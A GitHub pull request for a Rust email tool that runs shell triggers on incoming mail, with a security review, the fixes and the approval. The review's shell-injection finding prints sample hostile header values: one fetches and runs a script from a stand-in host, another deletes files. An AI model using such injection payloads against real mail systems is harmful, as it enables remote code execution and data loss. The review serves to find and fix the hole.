Skip to content

[Sprint 4] Channel Manager + Inbound Trust#5

Merged
uzyn merged 2 commits into
mainfrom
sprint-4-channel-manager-trust
Apr 9, 2026
Merged

[Sprint 4] Channel Manager + Inbound Trust#5
uzyn merged 2 commits into
mainfrom
sprint-4-channel-manager-trust

Conversation

@uzyn

@uzyn uzyn commented Apr 9, 2026

Copy link
Copy Markdown
Owner

Summary

  • S4.1 Channel Manager: Trigger Executionon_receive rules in config.yaml execute shell commands on email delivery with template variable substitution ({filepath}, {from}, {to}, {subject}, {mailbox}, {id}, {date}). Failures are logged to stderr but never block delivery or cause non-zero exit.

  • S4.2 Match Filters — Optional match block on triggers with from (glob pattern), subject (case-insensitive substring), and has_attachment (bool). All conditions use AND logic. Triggers with no match block fire on every email.

  • S4.3 Inbound DKIM/SPF Verification — During aimx ingest, raw email is verified using the mail-auth crate against the sender's published DNS records. Results are stored in frontmatter as dkim: pass|fail|none and spf: pass|fail|none. Verification failure never blocks email storage.

  • S4.4 Trust Policy + Trusted Senders — Per-mailbox trust setting (none default, verified) gates trigger execution. With trust: verified, triggers only fire when dkim: pass. trusted_senders allowlist (glob patterns) bypasses DKIM check. Email is always stored regardless of trust result.

Changes

  • New src/channel.rs module with trigger execution, match filter, and trust policy logic
  • Updated src/ingest.rs with DKIM/SPF verification during ingest and trigger execution after save
  • Updated src/config.rs with trust and trusted_senders fields on MailboxConfig
  • Added glob-match crate dependency for glob pattern matching
  • 53 new tests (136 unit + 29 integration = 165 total, up from 112)

Test plan

  • Unit tests: template variable substitution (all variables, special characters)
  • Unit tests: match filter (from glob match/mismatch, subject match/mismatch, has_attachment true/false)
  • Unit tests: AND logic (partial match does not fire, full match fires)
  • Unit tests: trigger execution (success, multiple in order, failure does not panic, no rules, skips non-matching)
  • Unit tests: trust gating (none fires always, verified blocks on dkim!=pass, trusted_senders bypasses check)
  • Unit tests: DKIM/SPF result parsing (unsigned email produces none, IP extraction from Received headers)
  • Unit tests: config parsing (trust settings, default trust is none)
  • Integration test: ingest with trigger config → trigger command executed
  • Integration test: failing trigger does not affect email delivery
  • Integration test: trust=verified blocks unsigned trigger, email still saved
  • Integration test: trust=none allows unsigned trigger
  • Integration test: trusted_senders bypasses DKIM check
  • Integration test: frontmatter contains dkim/spf fields
  • All 165 tests pass, clippy clean, fmt clean

Add channel manager with trigger execution, match filters, inbound
DKIM/SPF verification, and trust policy gating.

S4.1: Channel trigger execution via on_receive rules in config.yaml
with template variable substitution and failure logging.

S4.2: Match filters with from glob, subject substring, has_attachment
bool, and AND logic for all conditions.

S4.3: Inbound DKIM/SPF verification using mail-auth crate with results
stored in frontmatter (dkim/spf: pass|fail|none).

S4.4: Per-mailbox trust policy (none/verified) with trusted_senders
glob allowlist that bypasses DKIM check.

136 unit tests + 29 integration tests passing (165 total).

@uzyn uzyn left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sprint 4 Review: Channel Manager + Inbound Trust

Sprint Goal Assessment

Sprint 4 aimed to enable automated reactions to incoming email with security gating. The implementation delivers all four stories (S4.1-S4.4) with a clean architecture: a new src/channel.rs module handles trigger execution, match filtering, and trust policy, while src/ingest.rs integrates DKIM/SPF verification and trigger execution into the delivery pipeline. The scope is complete and well-structured.

Acceptance Criteria Checklist

S4.1 — Channel Manager: Trigger Execution

  • on_receive rules in config.yaml execute on email delivery — Met
  • Template variables substituted correctly — Met (all 7 variables: filepath, from, to, subject, mailbox, id, date)
  • Trigger failures logged but do not block delivery — Met (stderr logging, no non-zero exit)
  • Multiple triggers execute in order — Met (unit test verifies ordering)
  • Mailboxes with no triggers work without errors — Met
  • Unit tests for template substitution — Met (all variables, special characters, no variables)
  • Integration test: trigger executes on delivery — Met (ingest_trigger_executes_on_delivery)
  • Integration test: failing trigger does not affect delivery — Met (ingest_failing_trigger_does_not_block_delivery)

S4.2 — Match Filters

  • match.from supports glob patterns — Met (uses glob-match crate)
  • match.subject matches as case-insensitive substring — Met
  • match.has_attachment filters on attachment presence — Met
  • All conditions use AND logic — Met (tested with partial match cases)
  • Trigger with no match fires on every email — Met
  • Unit tests for each filter type — Met
  • Unit tests for AND logic — Met (3 partial-match failure tests + 1 full-match success)

S4.3 — Inbound DKIM/SPF Verification

  • Frontmatter contains dkim: pass|fail|none and spf: pass|fail|noneMet
  • Verification uses mail-auth crate — Met
  • Verification failure does not block email storage — Met
  • Verification results accurate against known DKIM-signed email — Not verified (no fixture with real DKIM signature; only unsigned emails tested)
  • Unit test: unsigned email produces dkim: none, spf: noneMet
  • Unit test: IP parsing from Received headers — Met (bracketed, loopback, IPv6)

S4.4 — Trust Policy + Trusted Senders

  • trust: none — all triggers fire — Met
  • trust: verified — triggers only fire when dkim: passMet
  • trusted_senders glob patterns — Met
  • Allowlisted senders bypass DKIM check — Met
  • Trust settings per-mailbox in config.yamlMet
  • Email always stored regardless of trust — Met
  • Unit tests for trust gating — Met (8 trust-related unit tests)
  • Integration test: full pipeline with trust — Met (4 integration tests)

Bugs Found

BUG-1 (Critical, Security): Shell injection via template variables

substitute_template() in channel.rs directly interpolates untrusted email metadata (from, subject, etc.) into shell commands that are executed via sh -c. No shell escaping is performed.

A malicious sender could craft:

  • From: `curl evil.com/x|sh`@attacker.com
  • Subject: hello$(rm -rf /tmp/*)world

These would execute arbitrary commands on the server during trigger execution. This is especially dangerous because:

  1. The from and subject fields come directly from the incoming email and are fully attacker-controlled.
  2. Even with trust: verified, the substitution happens for DKIM-passing emails from any sender, so a verified attacker domain can still exploit this.
  3. The command is run as the same user that runs aimx ingest (likely the mail delivery user).

Fix: Shell-escape all template variable values before substitution. Use something like shell_escape::escape() or manually replace shell metacharacters. Alternatively, pass template values as environment variables to the child process instead of interpolating them into the command string.

BUG-2 (Medium): Received header folding not handled in extract_received_ip

extract_received_ip() iterates raw email line-by-line and checks for lines starting with Received:. However, RFC 5322 headers are commonly folded across multiple lines (continuation lines start with whitespace/tab). A real-world Received header like:

Received: from mail.example.com (mail.example.com
    [203.0.113.50]) by mx.local with ESMTP

will have the IP [203.0.113.50] on the continuation line, which this function will miss entirely. This means SPF verification will silently produce none for many real emails, even when SPF data is available.

Fix: Unfold headers before line-by-line parsing, or use mail-parser's built-in header parsing to extract Received headers.

BUG-3 (Medium): Invalid trust field values silently default to permissive behavior

In should_execute_triggers(), the trust field is compared with string equality against "none" and "verified". If a user mistypes the value (e.g., trust: verfied, trust: verify, trust: strict), the function falls through to return true on line 91, silently allowing all triggers to fire. This is the opposite of fail-safe behavior for a security feature.

Fix: Either validate the trust field on config load (reject unknown values), or change the fallthrough behavior to deny triggers for unknown trust values (fail-closed).

Non-Blocker Suggestions

SUGGESTION-1: Resolver duplication

verify_dkim_async and verify_spf_async each independently create a DNS resolver with the same fallback logic. Consider creating the resolver once in verify_auth and passing it to both functions.

SUGGESTION-2: SPF domain semantics

In verify_spf_async, sender_domain is derived from rcpt (the recipient), but it's used as the fallback for the sender's HELO domain. The variable naming is confusing. SPF checks the sender's domain, not the recipient's. While the actual extraction from the From header takes precedence, the fallback path uses the recipient domain which is semantically incorrect.

SUGGESTION-3: Missing test for DKIM-signed fixture

The sprint acceptance criteria call for "Unit test: parse DKIM/SPF results from a known-good DKIM-signed .eml fixture (captured from Gmail)." This is not present. While hard to do in CI (needs DNS), adding a captured DKIM-signed .eml fixture and at minimum verifying that the DKIM header is detected (not none) would add confidence.

SUGGESTION-4: dkim_headers field access

In verify_dkim_async, auth_msg.dkim_headers is accessed as a public field. Verify this is a stable part of the mail-auth API and not an internal implementation detail.

Test Coverage Assessment

Strong coverage overall: 53 new tests (36 unit in channel.rs, 10 unit in ingest.rs, 2 in config.rs, 5 integration tests). Coverage areas:

  • Template substitution: thorough
  • Match filters: thorough (each filter type, AND logic, edge cases)
  • Trust policy: thorough (all combinations)
  • DKIM/SPF parsing: basic (unsigned only, IP extraction)
  • Integration: good (trigger execution, failure handling, trust gating, trusted senders, frontmatter verification)

Gaps:

  • No test with a real DKIM-signed email fixture
  • No test for folded Received headers
  • No test for invalid trust field values
  • No test for shell injection in template variables (would be valuable as a regression test after fixing)

PRD Alignment

  • FR-29 (read trigger rules from config): Met
  • FR-30 (cmd trigger with template variables): Met (with shell injection caveat)
  • FR-31 (match filters with AND logic): Met
  • FR-32 (execute synchronously, log failures, never block): Met
  • FR-33 (DKIM/SPF verification with mail-auth): Met
  • FR-34 (store results in frontmatter): Met
  • FR-35 (per-mailbox trust config): Met
  • FR-36 (trusted_senders allowlist): Met
  • FR-37 (mail always stored regardless of trust): Met

Summary

Verdict: Needs significant rework

The implementation is architecturally clean and feature-complete against the sprint plan. The channel manager, match filters, and trust policy logic are well-structured and thoroughly tested. However, the shell injection vulnerability in template variable substitution (BUG-1) is a critical security issue that must be fixed before merge -- it allows any email sender to execute arbitrary commands on the server. The unhandled header folding (BUG-2) will cause SPF to silently fail for many real-world emails. The permissive fallthrough on invalid trust values (BUG-3) undermines the security intent of the trust feature.

Blockers (must fix):

  1. BUG-1: Shell injection via template variables (critical security)
  2. BUG-2: Received header folding breaks SPF for real-world email
  3. BUG-3: Invalid trust values silently default to permissive

Non-blockers (consider for follow-up):

  1. Resolver duplication in DKIM/SPF verification
  2. SPF domain fallback semantics
  3. Missing DKIM-signed fixture test
  4. dkim_headers API stability check

… fallthrough

- Shell-escape all template variable values before substitution into
  sh -c commands to prevent command injection via email fields
- Unfold RFC 5322 continuation headers before extracting Received IP
  so folded headers are correctly parsed for SPF verification
- Change unknown trust values to fail-closed (deny triggers) instead
  of silently allowing all triggers to fire
- Add regression tests for all three fixes
@uzyn

uzyn commented Apr 9, 2026

Copy link
Copy Markdown
Owner Author

Review Fixes Applied

All three blockers from the review have been addressed in commit 5dd2e68.

Fixed

BUG-1 (Critical): Shell injection via template variables

  • Added shell-escape crate dependency
  • All template variable values are now shell-escaped via shell_escape::escape() before substitution into sh -c commands
  • Values like $(rm -rf /) become safely single-quoted: '$(rm -rf /)'
  • Added 2 regression tests: one verifying metacharacters are quoted, one verifying injected commands do not execute

BUG-2 (Medium): Received header folding not handled

  • Added unfold_headers() function that joins RFC 5322 continuation lines (lines starting with whitespace/tab) with their preceding header line
  • extract_received_ip() now unfolds headers before line-by-line parsing
  • Also added an empty-line break to stop at the header/body boundary
  • Added 4 tests: folded with tab, folded with spaces, single-line preservation, and continuation joining

BUG-3 (Medium): Invalid trust values silently permissive

  • Changed the fallthrough in should_execute_triggers() from return true to return false (fail-closed)
  • Logs a warning: aimx: unknown trust value '...', denying triggers (fail-closed)
  • Added 2 tests: one for the boolean return value, one verifying triggers don't actually fire

Intentionally Left As-Is (Non-blockers)

SUGGESTION-1: Resolver duplication — Acknowledged. Creating the resolver once and passing it to both verify_dkim_async and verify_spf_async is a clean improvement, but it's a refactoring change with no functional impact. Deferring to a cleanup pass.

SUGGESTION-2: SPF domain fallback semantics — Acknowledged. The variable naming is confusing, but the primary path (extracting from the From header) is correct. The fallback to recipient domain is wrong semantically but only triggers when the From header is missing entirely, which is rare. Will address in a follow-up.

SUGGESTION-3: Missing DKIM-signed fixture test — Agreed this is a gap. A real DKIM-signed .eml fixture requires DNS resolution in CI which is unreliable. Will explore adding a fixture that at least verifies DKIM header detection (not full verification) in a follow-up.

SUGGESTION-4: dkim_headers API stability — Noted. The mail-auth crate is pinned to 0.4 and dkim_headers is documented as public. Will monitor for breaking changes on version bumps.

@uzyn uzyn left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-Review: All Blockers Resolved -- APPROVED

All three previously flagged blockers have been verified as properly fixed in commit 5dd2e68. The full test suite passes (144 unit + 29 integration = 173 tests, 0 failures).

Blocker Verification

BUG-1 (Shell injection): RESOLVED

  • shell_escape::escape() correctly wraps all template variable values before substitution into sh -c commands. Values like $(rm -rf /) become safely single-quoted.
  • Two solid regression tests: one verifying metacharacters are quoted, one verifying injected commands do not execute via a marker file.
  • The shell-escape crate (v0.1.5) is a well-established, minimal dependency for this purpose.

BUG-2 (RFC 5322 header folding): RESOLVED

  • unfold_headers() correctly joins continuation lines (lines starting with space or tab) with the preceding header line.
  • extract_received_ip() now unfolds the entire header section before line-by-line parsing, and breaks at the empty line (header/body boundary).
  • Four tests cover: tab-folded, space-folded, single-line preservation, and continuation joining.

BUG-3 (Invalid trust fallthrough): RESOLVED

  • should_execute_triggers() now returns false (fail-closed) for unknown trust values with a clear warning via eprintln!.
  • Two tests: one for the boolean return value with a typo'd trust value ("verfied"), one verifying a marker file is not created for trust="typo".

Non-Blockers (Acknowledged as Deferred)

  1. Resolver duplication -- deferred, reasonable for cleanup pass
  2. SPF domain fallback semantics -- deferred, only affects missing-From edge case
  3. Missing DKIM-signed fixture test -- deferred, requires DNS in CI
  4. dkim_headers API stability -- monitoring, pinned to 0.4

Minor Observations (Not Blocking)

  • extract_mail_from() does not unfold headers before parsing, so a folded From: header with <addr> on a continuation line could be missed for SPF helo_domain extraction. Very unlikely in practice since From: values are typically short, but worth addressing in a future pass.
  • extract_received_ip() only checks Received: and received: casing, not fully case-insensitive matching. Virtually all MTAs use Received: so this is cosmetic, but line.to_ascii_lowercase().starts_with("received:") would be more correct.

Recommended Merge Commit Message

[Sprint 4] Channel Manager + Inbound Trust

Add channel manager with trigger execution, match filters, inbound
DKIM/SPF verification, and trust policy gating.

- S4.1: Channel trigger execution via on_receive rules with template
  variable substitution (shell-escaped) and failure logging
- S4.2: Match filters with from glob, subject substring,
  has_attachment bool, and AND logic for all conditions
- S4.3: Inbound DKIM/SPF verification using mail-auth crate with
  results stored in frontmatter (dkim/spf: pass|fail|none)
- S4.4: Per-mailbox trust policy (none/verified) with trusted_senders
  glob allowlist that bypasses DKIM check; unknown trust values
  fail-closed
- RFC 5322 folded Received headers correctly unfolded for IP extraction
- 173 tests (144 unit + 29 integration)

@uzyn uzyn merged commit f01fb85 into main Apr 9, 2026
2 checks passed
@uzyn uzyn deleted the sprint-4-channel-manager-trust branch April 10, 2026 00:32
uzyn added a commit that referenced this pull request Apr 17, 2026
…lans

Code-review-backed fix plans for each of the 10 findings, with file:line
refs, effort estimates, and a priority order. No code changes yet —
this consolidates the investigation so fixes can be sequenced.

- #10 DKIM mismatch: not a code bug; DNS republish + optional startup check
- #9 shell injection: pass trigger vars via env, not string substitution
- #8 MCP writes: route state mutations through daemon UDS
- #7 claude-code hint: print `claude mcp add` command post-install
- #4 send config read: move mailbox resolution to daemon side
- #2 SPF: plumb envelope MAIL FROM from smtp session through ingest
- #5 wildcard send: remove wildcard branch from resolve_from_mailbox
- #1 mailbox create: add restart hint (or route via daemon)
- #3 plan wording: clarify "compose new" in docs/manual-test.md
uzyn added a commit that referenced this pull request Apr 17, 2026
* docs: add manual test results with findings

Full execution of docs/manual-test.md against agent.zeroshot.lol.
10 findings recorded with severity and fix direction, notably:

- P0 DKIM key on disk does not match DNS TXT (root cause of
  outbound dkim=fail at Gmail)
- P0 Shell injection in on_receive cmd template expansion
- P1 MCP write ops (email_mark_read, etc.) fail when MCP runs
  as non-root due to root:root 0644 mailbox files

* docs: add Recommended fixes section with per-finding implementation plans

Code-review-backed fix plans for each of the 10 findings, with file:line
refs, effort estimates, and a priority order. No code changes yet —
this consolidates the investigation so fixes can be sequenced.

- #10 DKIM mismatch: not a code bug; DNS republish + optional startup check
- #9 shell injection: pass trigger vars via env, not string substitution
- #8 MCP writes: route state mutations through daemon UDS
- #7 claude-code hint: print `claude mcp add` command post-install
- #4 send config read: move mailbox resolution to daemon side
- #2 SPF: plumb envelope MAIL FROM from smtp session through ingest
- #5 wildcard send: remove wildcard branch from resolve_from_mailbox
- #1 mailbox create: add restart hint (or route via daemon)
- #3 plan wording: clarify "compose new" in docs/manual-test.md
uzyn added a commit that referenced this pull request Apr 17, 2026
Sprint 44 (post-launch security + quick fixes) addresses findings #9,
#10, #7, #1-tier-1, #3. Sprint 45 (strict outbound + MCP writes via
daemon addresses #4, #5, #8 and introduces UDS MARK-READ/MARK-UNREAD
verbs. Sprint 46 (mailbox CRUD via UDS) addresses #1-tier-2 with
MAILBOX-CREATE/MAILBOX-DELETE verbs so daemon picks up changes live.

PRD FR-18d tightened: outbound send now requires a concrete non-wildcard
mailbox under config.domain; catchall is inbound-only. PRD FR-18e added
to cover the new state-mutation verbs on the UDS socket.

Finding #2 (SPF envelope MAIL FROM) excluded — already shipped in
cd22428.
EOF
)
uzyn added a commit that referenced this pull request Apr 18, 2026
- `aimx send` no longer reads /etc/aimx/config.toml; daemon parses From:
  from the submitted body and resolves the sender mailbox against its
  in-memory Config.
- Outbound rejects both foreign-domain From (ERR DOMAIN) and any From
  whose local part does not match an explicitly configured non-wildcard
  mailbox (ERR MAILBOX). Catchall is inbound-only per FR-18d (tightened).
- New AIMX/1 MARK-READ / MARK-UNREAD UDS verbs with typed codec, per-
  mailbox tokio RwLock in a StateContext, and client wiring in `aimx mcp`
  so email_mark_read / email_mark_unread work without root write access
  to mailbox files.
- New error codes PROTOCOL / NOTFOUND / IO added; legacy From-Mailbox:
  header silently ignored for forward-compatibility.

Closes findings #4, #5, #8 from the 2026-04-17 manual test run.
uzyn added a commit that referenced this pull request Apr 21, 2026
Add channel manager with trigger execution, match filters, inbound
DKIM/SPF verification, and trust policy gating.

- S4.1: Channel trigger execution via on_receive rules with template
  variable substitution (shell-escaped) and failure logging
- S4.2: Match filters with from glob, subject substring,
  has_attachment bool, and AND logic for all conditions
- S4.3: Inbound DKIM/SPF verification using mail-auth crate with
  results stored in frontmatter (dkim/spf: pass|fail|none)
- S4.4: Per-mailbox trust policy (none/verified) with trusted_senders
  glob allowlist that bypasses DKIM check; unknown trust values
  fail-closed
- RFC 5322 folded Received headers correctly unfolded for IP extraction
- 173 tests (144 unit + 29 integration)
uzyn added a commit that referenced this pull request Apr 21, 2026
…lans

Code-review-backed fix plans for each of the 10 findings, with file:line
refs, effort estimates, and a priority order. No code changes yet —
this consolidates the investigation so fixes can be sequenced.

- #10 DKIM mismatch: not a code bug; DNS republish + optional startup check
- #9 shell injection: pass trigger vars via env, not string substitution
- #8 MCP writes: route state mutations through daemon UDS
- #7 claude-code hint: print `claude mcp add` command post-install
- #4 send config read: move mailbox resolution to daemon side
- #2 SPF: plumb envelope MAIL FROM from smtp session through ingest
- #5 wildcard send: remove wildcard branch from resolve_from_mailbox
- #1 mailbox create: add restart hint (or route via daemon)
- #3 plan wording: clarify "compose new" in docs/manual-test.md
uzyn added a commit that referenced this pull request Apr 21, 2026
* docs: add manual test results with findings

Full execution of docs/manual-test.md against agent.zeroshot.lol.
10 findings recorded with severity and fix direction, notably:

- P0 DKIM key on disk does not match DNS TXT (root cause of
  outbound dkim=fail at Gmail)
- P0 Shell injection in on_receive cmd template expansion
- P1 MCP write ops (email_mark_read, etc.) fail when MCP runs
  as non-root due to root:root 0644 mailbox files

* docs: add Recommended fixes section with per-finding implementation plans

Code-review-backed fix plans for each of the 10 findings, with file:line
refs, effort estimates, and a priority order. No code changes yet —
this consolidates the investigation so fixes can be sequenced.

- #10 DKIM mismatch: not a code bug; DNS republish + optional startup check
- #9 shell injection: pass trigger vars via env, not string substitution
- #8 MCP writes: route state mutations through daemon UDS
- #7 claude-code hint: print `claude mcp add` command post-install
- #4 send config read: move mailbox resolution to daemon side
- #2 SPF: plumb envelope MAIL FROM from smtp session through ingest
- #5 wildcard send: remove wildcard branch from resolve_from_mailbox
- #1 mailbox create: add restart hint (or route via daemon)
- #3 plan wording: clarify "compose new" in docs/manual-test.md
uzyn added a commit that referenced this pull request Apr 21, 2026
Sprint 44 (post-launch security + quick fixes) addresses findings #9,
#10, #7, #1-tier-1, #3. Sprint 45 (strict outbound + MCP writes via
daemon addresses #4, #5, #8 and introduces UDS MARK-READ/MARK-UNREAD
verbs. Sprint 46 (mailbox CRUD via UDS) addresses #1-tier-2 with
MAILBOX-CREATE/MAILBOX-DELETE verbs so daemon picks up changes live.

PRD FR-18d tightened: outbound send now requires a concrete non-wildcard
mailbox under config.domain; catchall is inbound-only. PRD FR-18e added
to cover the new state-mutation verbs on the UDS socket.

Finding #2 (SPF envelope MAIL FROM) excluded — already shipped in
f5cebd2.
EOF
)
uzyn added a commit that referenced this pull request Apr 21, 2026
- `aimx send` no longer reads /etc/aimx/config.toml; daemon parses From:
  from the submitted body and resolves the sender mailbox against its
  in-memory Config.
- Outbound rejects both foreign-domain From (ERR DOMAIN) and any From
  whose local part does not match an explicitly configured non-wildcard
  mailbox (ERR MAILBOX). Catchall is inbound-only per FR-18d (tightened).
- New AIMX/1 MARK-READ / MARK-UNREAD UDS verbs with typed codec, per-
  mailbox tokio RwLock in a StateContext, and client wiring in `aimx mcp`
  so email_mark_read / email_mark_unread work without root write access
  to mailbox files.
- New error codes PROTOCOL / NOTFOUND / IO added; legacy From-Mailbox:
  header silently ignored for forward-compatibility.

Closes findings #4, #5, #8 from the 2026-04-17 manual test run.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant